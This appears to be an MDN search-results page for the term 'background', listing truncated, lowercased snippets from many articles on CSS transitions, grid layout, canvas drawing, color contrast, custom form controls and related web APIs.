formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-delay: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-duration:2...
...s; transition-delay:0.5s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:0.5s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-duration:2s; transition-delay:0.5s; transition-timing-function: linear; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.classname = "box1"; } else { el = document.queryselector("div.box1"); el.classn...
...ame = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-delay: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top color; -webkit-transition-duration:2s; -webkit-transition-delay:1s; -webkit-transition-timing-function: linear; transition-property: width height
background-color font-size left top color; transition-duration:2s; transition-delay:1s; transition-timing-function: linear; } .box1{ width: 50px; height: 50px; backgroun...
...And 5 more matches
transition-duration - CSS: Cascading Style Sheets
formal definition initial value0sapplies toall elements, ::before and ::after pseudo-elementsinheritednocomputed valueas specifiedanimation typediscrete formal syntax <time># examples transition-duration: 0.5s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transform colo...
...r; transition-duration:0.5s; transition-timing-function: ease-in-out; } .box1{ transform: rotate(270deg); -webkit-transform: rotate(270deg); width: 50px; height: 50px;
background-color: blue; color: yellow; font-size: 18px; left: 150px; top:25px; position:absolute; -webkit-transition-property: width height
background-color font-size left top transform -webkit-transform color; -webkit-transition-duration:0.5s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform -webkit-transformv color; transition-duration:0.5s; transition-timing-function: ease-in-out; } function updatetransition() { var el = document.queryselector("div.box"); if (el) { el.cla...
...ssname = "box1"; } else { el = document.queryselector("div.box1"); el.classname = "box"; } return el; } var intervalid = window.setinterval(updatetransition, 7000); transition-duration: 1s <div class="parent"> <div class="box">lorem</div> </div> .parent { width: 250px; height:125px;} .box { width: 100px; height: 100px;
background-color: red; font-size: 20px; left: 0px; top: 0px; position:absolute; -webkit-transition-property: width height
background-color font-size left top -webkit-transform color; -webkit-transition-duration:1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height
background-color font-size left top transform color; transition-duration:1s; transition-timing-function: ea...
...And 5 more matches
Index - Archive of obsolete content
763 alternating
background xul attributes, xul reference no summary!
...first, however, some
background.
...the purpose of this article is to give you enough
background information so that you'll be able to get a good start.
...And 4 more matches
tabbrowser - Archive of obsolete content
loadonetab( url, referreruri, charset, postdata, loadin
background, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., in
background: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadin
background parameter which allows you to choose whether to open the new tab in foreground or
background.
... parameters in
background if true the tab will be loaded in the
background, if false the tab will be the newly selected tab.
...And 4 more matches
Practical positioning examples - Learn web development
add the following css: .info-box li { float: left; list-style-type: none; width: 150px; } .info-box li a { display: inline-block; text-decoration: none; width: 100%; line-height: 3;
background-color: red; color: black; text-align: center; } finally for this section we'll set some styles on the link states.
...place the following css below your other styles: .info-box li a:focus, .info-box li a:hover {
background-color: #a60000; color: white; } .info-box li a.active {
background-color: #a60000; color: white; } styling the panels the next job is to style our panels.
...the rule also gives the panels the same set height as the container, and gives the content some padding, a text color, and a
background-color.
...And 4 more matches
UI pseudo-classes - Learn web development
for example, in our custom radio buttons example, we use generated content to handle the placement and animation of the inner circle when a radio button is selected: input[type="radio"]::before { display: block; content: " "; width: 10px; height: 10px; border-radius: 6px;
background-color: red; font-size: 1.2em; transform: translate(3px, 3px) scale(0); transform-origin: center; transition: all 0.3s ease-in; } input[type="radio"]:checked::before { transform: translate(3px, 3px) scale(1); transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2); } this is really useful — screenreaders already let their users know when a radio button or checkbox they encounter is ...
...we create it using this css: input + span { position: relative; } input:required + span::after { font-size: 0.7rem; position: absolute; content: "required"; color: white;
background-color: black; padding: 5px 10px; top: -26px; left: -70px; } we set the <span> to position: relative simply so that we can set the generated content to position: absolute and position it relative to the <span> rather than the <body> (the generated content acts as though it is a child node of the element it is generated on, for the purposes of positioning).
...eric input looks like this: <div> <label for="age">age (must be 12+): </label> <input id="age" name="age" type="number" min="12" max="120" required> <span></span> </div> and the css looks like this: input + span { position: relative; } input + span::after { font-size: 0.7rem; position: absolute; padding: 5px 10px; top: -26px; } input:required + span::after { color: white;
background-color: black; content: "required"; left: -70px; } input:out-of-range + span::after { color: white;
background-color: red; width: 155px; content: "outside allowable value range"; left: -182px; } this is a similar story to what we had before in the :required example, except that here we've split out the declarations that apply to any ::after content into a separate rule, and given t...
...And 4 more matches
CSS basics - Learn web development
how do i decorate my webpage with
background images and colors?
...
background-color, the color behind an element's content and padding.
... changing the page color html {
background-color: #00539f; } this rule sets a
background color for the entire page.
...And 4 more matches
Making decisions in your code — conditionals - Learn web development
<label for="theme">select theme: </label> <select id="theme"> <option value="white">white</option> <option value="black">black</option> </select> <h1>this is my website</h1> const select = document.queryselector('select'); const html = document.queryselector('html'); document.body.style.padding = '10px'; function update(bgcolor, textcolor) { html.style.
backgroundcolor = bgcolor; html.style.color = textcolor; } select.onchange = function() { ( select.value === 'black' ) ?
...the website's
background color is set to the first provided color, and its text color is set to the second provided color.
...if this returns true, we run the update() function with parameters of black and white, meaning that we end up with
background color of black and text color of white.
...And 4 more matches
Styling Vue components with CSS - Learn web development
add the following contents to the reset.css file: /*reset.css*/ /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible;
background: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow: visible; } input[type="...
...text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 "helvetica neue", helvetica, arial, sans-serif;
background-color: #f5f5f5; color: #4d4d4d; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ next, in your src/main.js file, import the reset.css file like so: import './assets/reset.css'; this will cause the file to get picked up during the build step and automatically added to our site.
... before: after: noticeable changes include the removal of the list bullets,
background color changes, and changes to the base button and input styles.
...And 4 more matches
Handling common HTML and CSS problems - Learn web development
in general, most core html and css functionality (such as basic html elements, css basic colors and text styling) works across most browsers you'll want to support; more problems are uncovered when you start wanting to use newer features such as flexbox, or html5 video/audio, or even more nascent, css grids or -webkit-
background-clip: text.
...
background-color: #ff0000;
background-color: rgba(255,0,0,1); box-shadow: inset 1px 1px 3px rgba(255,255,255,0.4), inset -1px -1px 3px rgba(0,0,0,0.4); } button:hover {
background-color: rgba(255,0,0,0.5); } button:active { box-shadow: inset 1px 1px 3px rgba(0,0,0,0.4), inset -1px -1px 3px rgba(255,255,255,0.4); } here we are providing an rgba
background-color that cha...
...the trouble is that rgba colors and box shadows don't work in ie versions older than 9 — in older versions the
background just wouldn't show up at all so the text would be unreadable, no good at all!
...And 4 more matches
Using the CSS Typed Object Model - Web APIs
we'll take a look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 20px);
background: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) var(--maincolor); border: 4px solid var(--maincolor); border-radius: 2px; font-size: calc(var(--unit)*2); color: var(--white); cursor: pointer; transform: scale(0.95); } let's add the class to a button (a button which does nothing).
...scale {x: cssunitvalue, y: cssunitvalue, z: cssunitvalue, is2d: true} console.log( transform[0].x ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].y ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].z ); // cssunitvalue {value: 1, unit: "number"} console.log( transform.is2d ); // true // cssimagevalue let bgimage = allcomputedstyles.get('
background-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); // url("https://mdn.mozillademos.org/files/16793/magicwand.png") // cssunparsedvalue let unit = allcomputedstyles.get('--unit'); console.log( unit ) // let parsedunit = cssnumericvalue.parse( unit ); console.log( parsedunit ); console.log( parsedunit.unit ); console.log( parsedunit.value ); for...
... we've created a blue button with a magic wand
background image.
...And 4 more matches
Web Accessibility: Understanding Colors and Luminance - Accessibility
font size, font style (some fonts are so thin or fancy that they present accessibility problems on their own),
background color, the size of the
background space around the text, even pixel densities and more all affect how color is delivered from the screen.
... (see understanding success criterion 1.4.3: contrast) a viewer's distance from the screen, the ambient
background, the health of his eyes, and more all affect how that color is received by the viewer.
... the color will appear differently if the
background lighting is dark, or light.
...And 4 more matches
Layout using named grid lines - CSS: Cascading Style Sheets
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } when defining the grid, i name my lines inside square brackets.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } i’m using the same grid definitions as above, however this time i am going to place a single item into the named area content.
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft f...
...And 4 more matches
repeating-conic-gradient() - CSS: Cascading Style Sheets
syntax /* starburst: a a blue on blue starburst: the gradient is a starburst of lighter and darker blue, centered in the upper left quandrant, offset by 3degrees so there is no up/down straight line */
background: repeating-conic-gradient( from 3deg at 25% 25%, hsl(200, 100%, 50%) 0deg 15deg, hsl(200, 100%, 60%) 10deg 30deg); ); values <angle> preceded by the from keyterm, and taking an angle as its value, defines the gradient rotation in clockwise direction.
... <position> using the same length, order and keyterm values as the
background-position property, the position defines center of the gradient.
...for this reason, repeating-conic-gradient() won't work on
background-color and other properties that use the <color> data type.
...And 4 more matches
Audio for Web games - Game development
for more passive audio auto play, for example
background music that starts as soon as a game loads, one trick is to detect any user initiated event and start playback then.
... concurrent audio playback a requirement of many games is the need to play more than one piece of audio at the same time; for example, there might be
background music playing along with sound effects for various things happening in the game.
...
background music music in games can have a powerful emotional effect.
...And 3 more matches
Example 1 - Learn web development
------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; ...
...padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0;
background: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight {
background: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">cherry</span> <ul class="o...
... */ /* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; ...
...And 3 more matches
How to build custom form controls - Learn web development
*/
background : #f0f0f0;
background : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { /* because the value can be wider than our control, we have to make sure it will not change the control's width.
...it could also be implemented using a simple
background image on the select class.
...tent : "▼"; /* we use the unicode character u+25bc; make sure to set a charset meta tag */ position: absolute; z-index : 1; /* this will be important to keep the arrow from overlapping the list of options */ top : 0; right : 0; box-sizing : border-box; height : 100%; width : 2em; padding-top : .1em; border-left : .2em solid #000; border-radius: 0 .1em .1em 0;
background-color : #000; color : #fff; text-align : center; } next, let's style the list of options: .select .optlist { z-index : 2; /* we explicitly said the list of options will always be on top of the down arrow */ /* this will reset the default style of the ul element */ list-style: none; margin : 0; padding: 0; box-sizing : border-box; /* if the values are smaller than the contro...
...And 3 more matches
Advanced text formatting - Learn web development
this is usually a feeling, thought or piece of additional
background information description lists use a different wrapper than the other list types — <dl>; in addition each term is wrapped in a <dt> (description term) element, and each description is wrapped in a <dd> (description definition) element.
...this is usually a feeling, thought, or piece of additional
background information.</dd> </dl> the browser default styles will display description lists with the descriptions indented somewhat from the terms.
...this is usually a feeling, thought, or piece of additional
background information.</dd> <dd>in writing, a section of content that is related to the current topic, but doesn't fit directly into the main flow of content so is presented nearby (often in a box off to the side.)</dd> </dl> active learning: marking up a set of definitions it's time to try your hand at description lists; add elements to the raw text in the input field so that it appears as a description list in the output field.
...And 3 more matches
A first splash into JavaScript - Learn web development
you got it right!'; lastresult.style.
backgroundcolor = 'green'; loworhi.textcontent = ''; setgameover(); } else if (guesscount === 10) { lastresult.textcontent = '!!!game over!!!'; loworhi.textcontent = ''; setgameover(); } else { lastresult.textcontent = 'wrong!'; lastresult.style.
backgroundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcontent = ...
...{ guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); guessfield.disabled = false; guesssubmit.disabled = false; guessfield.value = ''; guessfield.focus(); lastresult.style.
backgroundcolor = 'white'; randomnumber = math.floor(math.random() * 100) + 1; } </script> </body> </html> have a go at playing it — familiarize yourself with the game before you move on.
...you got it right!'; lastresult.style.
backgroundcolor = 'green'; loworhi.textcontent = ''; setgameover(); } else if (guesscount === 10) { lastresult.textcontent = '!!!game over!!!'; setgameover(); } else { lastresult.textcontent = 'wrong!'; lastresult.style.
backgroundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcontent = 'last guess was too low!'; } else if(userguess > randomnumber) { ...
...And 3 more matches
Embedding API for Accessibility
there are many other pieces, such as preferences to allow the user to change foreground and
background colors, and font sizes.
... setboolpref("browser.use_system_fonts", usesystemfonts); no colors for page setcharpref("browser.display.foreground_color", "#abcdef" /* hex color value */); setcharpref("browser.display.
background_color", "#abcdef" /* hex color value */); setboolpref("browser.display.use_system_colors", boolsystemcolors); setboolpref("browser.display.use_document_colors", booluseauthorcolors); /* setting use_document_colors also stops
background images from loading */ moz 0.8 link appearance ...
...; setcharpref("browser.visited_color", "#abcdef" /* hex color value */); setboolpref("browser.underline_anchors", boolunderlinelinks); moz 0.8 focus appearance setboolpref("browser.display.use_focus_colors", usefocuscolors); setcharpref("browser.display.focus_
background_color", colorstring); setcharpref("browser.display.focus_text_color", colorstring); setcharpref("browser.display.focus_ring_width", numpixels); /* 0-4 */ moz 0.9.2 text selection appearance setcharpref("browser.selection.
background_color", colorstring); setch...
...And 3 more matches
The Firefox codebase: CSS Guidelines
using variables use the variable according to its naming do this: xul|tab:hover {
background-color: var(--in-content-box-
background-hover); } not this: #certificateerrordebuginformation {
background-color: var(--in-content-box-
background-hover); } localization text direction for margins, padding and borders, use inline-start/inline-end rather than left/right.
... another adjustment to be aware of is that gecko removes all the
background-image when high contrast mode is enabled.
...in general, the following colors are used: -moz-field: textbox or field
background colors, also used as the
background color of listboxes or trees.
...And 3 more matches
nsIHTMLEditor
lection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astring atagname); void decreasefontsize(); void dodrag(in nsidomevent aevent); void getalignment(out boolean amixed, out short aalign); astring get
backgroundcolorstate(out boolean amixed); nsidomelement getelementorparentbytagname(in astring atagname, in nsidomnode anode); astring getfontcolorstate(out boolean amixed); astring getfontfacestate(out boolean amixed); astring getheadcontentsashtml(); astring gethighlightcolorstate(out boolean amixed); void getindentstate(out boolean acanindent, out boo...
...tom aproperty, in astring aattribute, in astring avalue); void removeinlineproperty(in nsiatom aproperty, in astring aattribute); void removeinsertionlistener(in nsicontentfilter infilter); void removelist(in astring alisttype); void replaceheadcontentswithhtml(in astring asourcetoinsert); void selectelement(in nsidomelement aelement); void set
backgroundcolor(in astring acolor); void setbodyattribute(in astring aattr, in astring avalue); void setcaretafterelement(in nsidomelement aelement); void setcssinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring ava...
... aalign enum value for first encountered alignment (left/center/right) get
backgroundcolorstate() getfontcolorstate() returns what font face is in the selection.
...And 3 more matches
Using dynamic styling information - Web APIs
modify a stylesheet rule with cssom <html> <head> <title>modifying a stylesheet rule with cssom</title> <style type="text/css"> body {
background-color: red; } </style> <script type="text/javascript"> var stylesheet = document.stylesheets[0]; stylesheet.cssrules[0].style.
backgroundcolor="blue"; </script> </head> <body> the stylesheet declaration for the body's
background color is modified via javascript.
...however, this property only returns style attributes that have been set in-line (e.g, <td style="
background-color: lightblue"> returns the string "
background-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
... <html> <head> <title>simple style example</title> <script type="text/javascript"> function alterstyle(elem) { elem.style.
background = 'green'; } function resetstyle(elemid) { elem = document.getelementbyid(elemid); elem.style.
background = 'white'; } </script> <style type="text/css"> #p1 { border: solid blue 2px; } </style> </head> <body> <!-- passes a reference to the element's object as parameter 'this'.
...And 3 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
notes: if "rgba(0,0,0,0)" is used for the
background color, the drawing will be transparent wherever the window is transparent.
... top-level browsed documents are usually not transparent because the user's
background-color preference is applied, but iframes are transparent if the page doesn't set a
background.
... if an opaque color is used for the
background color, rendering will be faster because we won't have to compute the window's transparency.
...And 3 more matches
Applying styles and colors - Web APIs
a globalalpha example in this example, we'll draw a
background of four different colored squares.
...by increasing the step count and in effect drawing more circles, the
background would completely disappear from the center of the image.
... function draw() { var ctx = document.getelementbyid('canvas').getcontext('2d'); // draw
background ctx.fillstyle = '#fd0'; ctx.fillrect(0, 0, 75, 75); ctx.fillstyle = '#6c0'; ctx.fillrect(75, 0, 75, 75); ctx.fillstyle = '#09f'; ctx.fillrect(0, 75, 75, 75); ctx.fillstyle = '#f30'; ctx.fillrect(75, 75, 75, 75); ctx.fillstyle = '#fff'; // set transparency value ctx.globalalpha = 0.2; // draw semi transparent circles for (var i = 0; i < 7; i++) { ctx.beginpath(); ctx.arc(75, 75, 10 + 10 * i, 0, math.pi * 2, true); ctx.fill(); } } <canvas id="canvas" width="150" height="150"></canvas> draw(); screenshotlive sample an example using rgba() in this second example, we do something similar to the one above, but instead of drawing circles on top of each ot...
...And 3 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
example: setting the
background color of a paragraph getelementsbytagname(tagnamevalue) is a method available in any dom element or the root document element.
... html <body> <input type="button" value="set paragraph
background color" onclick="set_
background()"> <p>hi</p> <p>hello</p> </body> javascript function set_
background() { // get a list of all the body elements (there will only be one), // and then select the zeroth (or first) such element mybody = document.getelementsbytagname("body")[0]; // now, get all the p elements that are descendants of the body mybodyelements = mybody.getelementsbytagname("p"); // get the second item of the list of p elements myp = mybodyelements[1]; myp.style.
background = "rgb(255,0,0)"; } in this example, we set the myp variable to...
...for example, if you want to set the style
background color property, you just add: myp.style.
background = "rgb(255,0,0)"; // setting inline style attribute creating textnodes with document.createtextnode("..") use the document object to invoke the createtextnode method and create your text node.
...And 3 more matches
Intersection Observer API - Web APIs
l topright"></div> <div class="label bottomleft"></div> <div class="label bottomright"></div> </div> </template> <main> <div class="contents"> <div class="wrapper"> </div> </div> </main> .contents { position: absolute; width: 700px; height: 1725px; } .wrapper { position: relative; top: 600px; } .samplebox { position: relative; left: 175px; width: 150px;
background-color: rgb(245, 170, 140); border: 2px solid rgb(201, 126, 17); padding: 4px; margin-bottom: 6px; } #box1 { height: 200px; } #box2 { height: 75px; } #box3 { height: 150px; } #box4 { height: 100px; } .label { font: 14px "open sans", "arial", sans-serif; position: absolute; margin: 0;
background-color: rgba(255, 255, 255, 0.7); border: 1px solid rgba(0, 0, 0, 0.7); wi...
... <div id="box"> <div class="vertical"> welcome to <strong>the box!</strong> </div> </div> css the css isn't terribly important for the purposes of this example; it lays out the element and establishes that the
background-color and border attributes can participate in css transitions, which we'll use to affect the changes to the element as it becomes more or less obscured.
... #box {
background-color: rgba(40, 40, 190, 255); border: 4px solid rgb(20, 20, 120); transition:
background-color 1s, border 1s; width: 350px; height: 350px; display: flex; align-items: center; justify-content: center; padding: 20px; } .vertical { color: white; font: 32px "arial"; } .extra { width: 350px; height: 350px; margin-top: 10px; border: 4px solid rgb(20, 20, 120); text-align: center; padding: 20px; } javascript finally, let's take a look at the javascript code that uses the intersection observer api to make things happen.
...And 3 more matches
Using the Web Speech API - Web APIs
when the screen is tapped/clicked, you can say an html color keyword, and the app's
background color will change to that color.
... <h1>speech color changer</h1> <p>tap/click then say a color to change the
background color of the app.</p> <div> <p class="output"><em>...diagnostic messages</em></p> </div> the css provides a very simple responsive styling so that it looks ok across devices.
... are just specifying one (which is actually the default anyway.) recognition.grammars = speechrecognitionlist; recognition.continuous = false; recognition.lang = 'en-us'; recognition.interimresults = false; recognition.maxalternatives = 1; starting the speech recognition after grabbing references to the output <div> and the html element (so we can output diagnostic messages and update the app
background color later on), we implement an onclick handler so that when the screen is tapped/clicked, the speech recognition service will start.
...And 3 more matches
Color contrast - Accessibility
the color contrast between
background and foreground content (that is, usually text) should be great enough to ensure legibility.
... examples let's have a look at some simple html and css code: <div class="good">good contrast</div> <div class="bad">bad contrast</div> div { /* general div styles here */ } .good {
background-color: #fae6fa; } .bad {
background-color: #400064; } both pieces of text have their default black color.
... the "good" <div> has a light purple
background, which makes the text easy to read: example1 <div class="good"> good contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .good {
background-color: #fae6fa; } the "bad" <div> on the other hand has a very dark purple
background, which makes the text much harder to read: example2 <div class="bad"> bad contrast </div> div { font-family: sans-serif; text-align: center; font-size: 2rem; font-weight: bold; width: 250px; padding: 30px; border-radius: 20px; box-shadow: 1px 1px 1px black; } .bad {
background-color: #400064; } solution when choosi...
...And 3 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
.wrapper > p { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; margin: 1em; color: #d9480f; max-width: 300px; } <div class="wrapper"> <p style="writing-mode: horizontal-tb">i have writing mode set to the default <code>horizontal-tb</code></p> <p style="writing-mode: vertical-rl">i have writing mode set to <code>vertical-rl</code></p> </div> writing modes in grid layouts if we now take a look at a gr...
...it then moves onto the next line, creating a new row track, and fills in more items: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(2, 100px); grid-gap: 10px; } <div class="wrapper"> <div class="item1">item 1</div> <div class="item2">item 2</div> <div clas...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { writing-mode: vertical-lr; display: grid; grid-template-columns: repeat(3, 100px); grid-template-rows: repeat(2, 100px); grid-gap: 10px; } <div class="wrapper"> <div class="item1">item 1</div> <div class="it...
...And 3 more matches
Grid template areas - CSS: Cascading Style Sheets
.wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "sd sd sd main main main main main main" "ft ft ft ft ft ft ft ft ft"; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="header">header</div> <div class="sidebar">sidebar</div> <div class="content">content</div> <div class="footer">footer</div> </div> using...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "s...
... .header { grid-area: hd; } .footer { grid-area: ft; } .content { grid-area: main; } .sidebar { grid-area: sd; } * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px;
background-color: #fff4e6; max-width: 940px; margin: 0 auto; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px;
background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper { display: grid; grid-template-columns: repeat(9, 1fr); grid-auto-rows: minmax(100px, auto); grid-template-areas: "hd hd hd hd hd hd hd hd hd" "s...
...And 3 more matches
Shorthand properties - CSS: Cascading Style Sheets
for instance, the css
background property is a shorthand property that's able to define the values of
background-color,
background-image,
background-repeat, and
background-position.
...therefore:
background-color: red;
background: url(images/bg.gif) no-repeat left top; will not set the color of the
background to red but to
background-color's default, transparent, as the second rule has precedence.
...
background properties a
background with the following properties ...
...And 3 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
as mentioned earlier, you use the custom property value by specifying your custom property name inside the var() function, in place of a regular property value: element {
background-color: var(--main-bg-color); } first steps with custom properties let's start with this simple css that applies the same color to elements of different classes: .one { color: white;
background-color: brown; margin: 10px; width: 50px; height: 50px; display: inline-block; } .two { color: white;
background-color: black; margin: 10px; width: 150px; height: 70px; display:...
... inline-block; } .three { color: white;
background-color: brown; margin: 10px; width: 75px; } .four { color: white;
background-color: brown; margin: 10px; width: 100px; } .five {
background-color: brown; } we'll apply it to this html: <div> <div class="one">1:</div> <div class="two">2: text <span class="five">5 - more text</span></div> <input class="three"> <textarea class="four">4: lorem ipsum</textarea> </div> ...
...the
background color is set to brown in several places.
...And 3 more matches
animation - CSS: Cascading Style Sheets
<button class="pause" title="pause"></button> </div> <div class="cell flx"> <div class="overlay">animation: 3s slidein;</div> <div class="animation a3"></div> </div> </div> </div> </div> html,body { height: 100%; box-sizing: border-box; } pre { margin-bottom: 0; } svg { width: 1.5em; height: 1.5em; } button { width: 27px; height: 27px;
background-size: 16px;
background-position: center;
background-repeat: no-repeat; border-radius: 3px; cursor: pointer; } button.play {
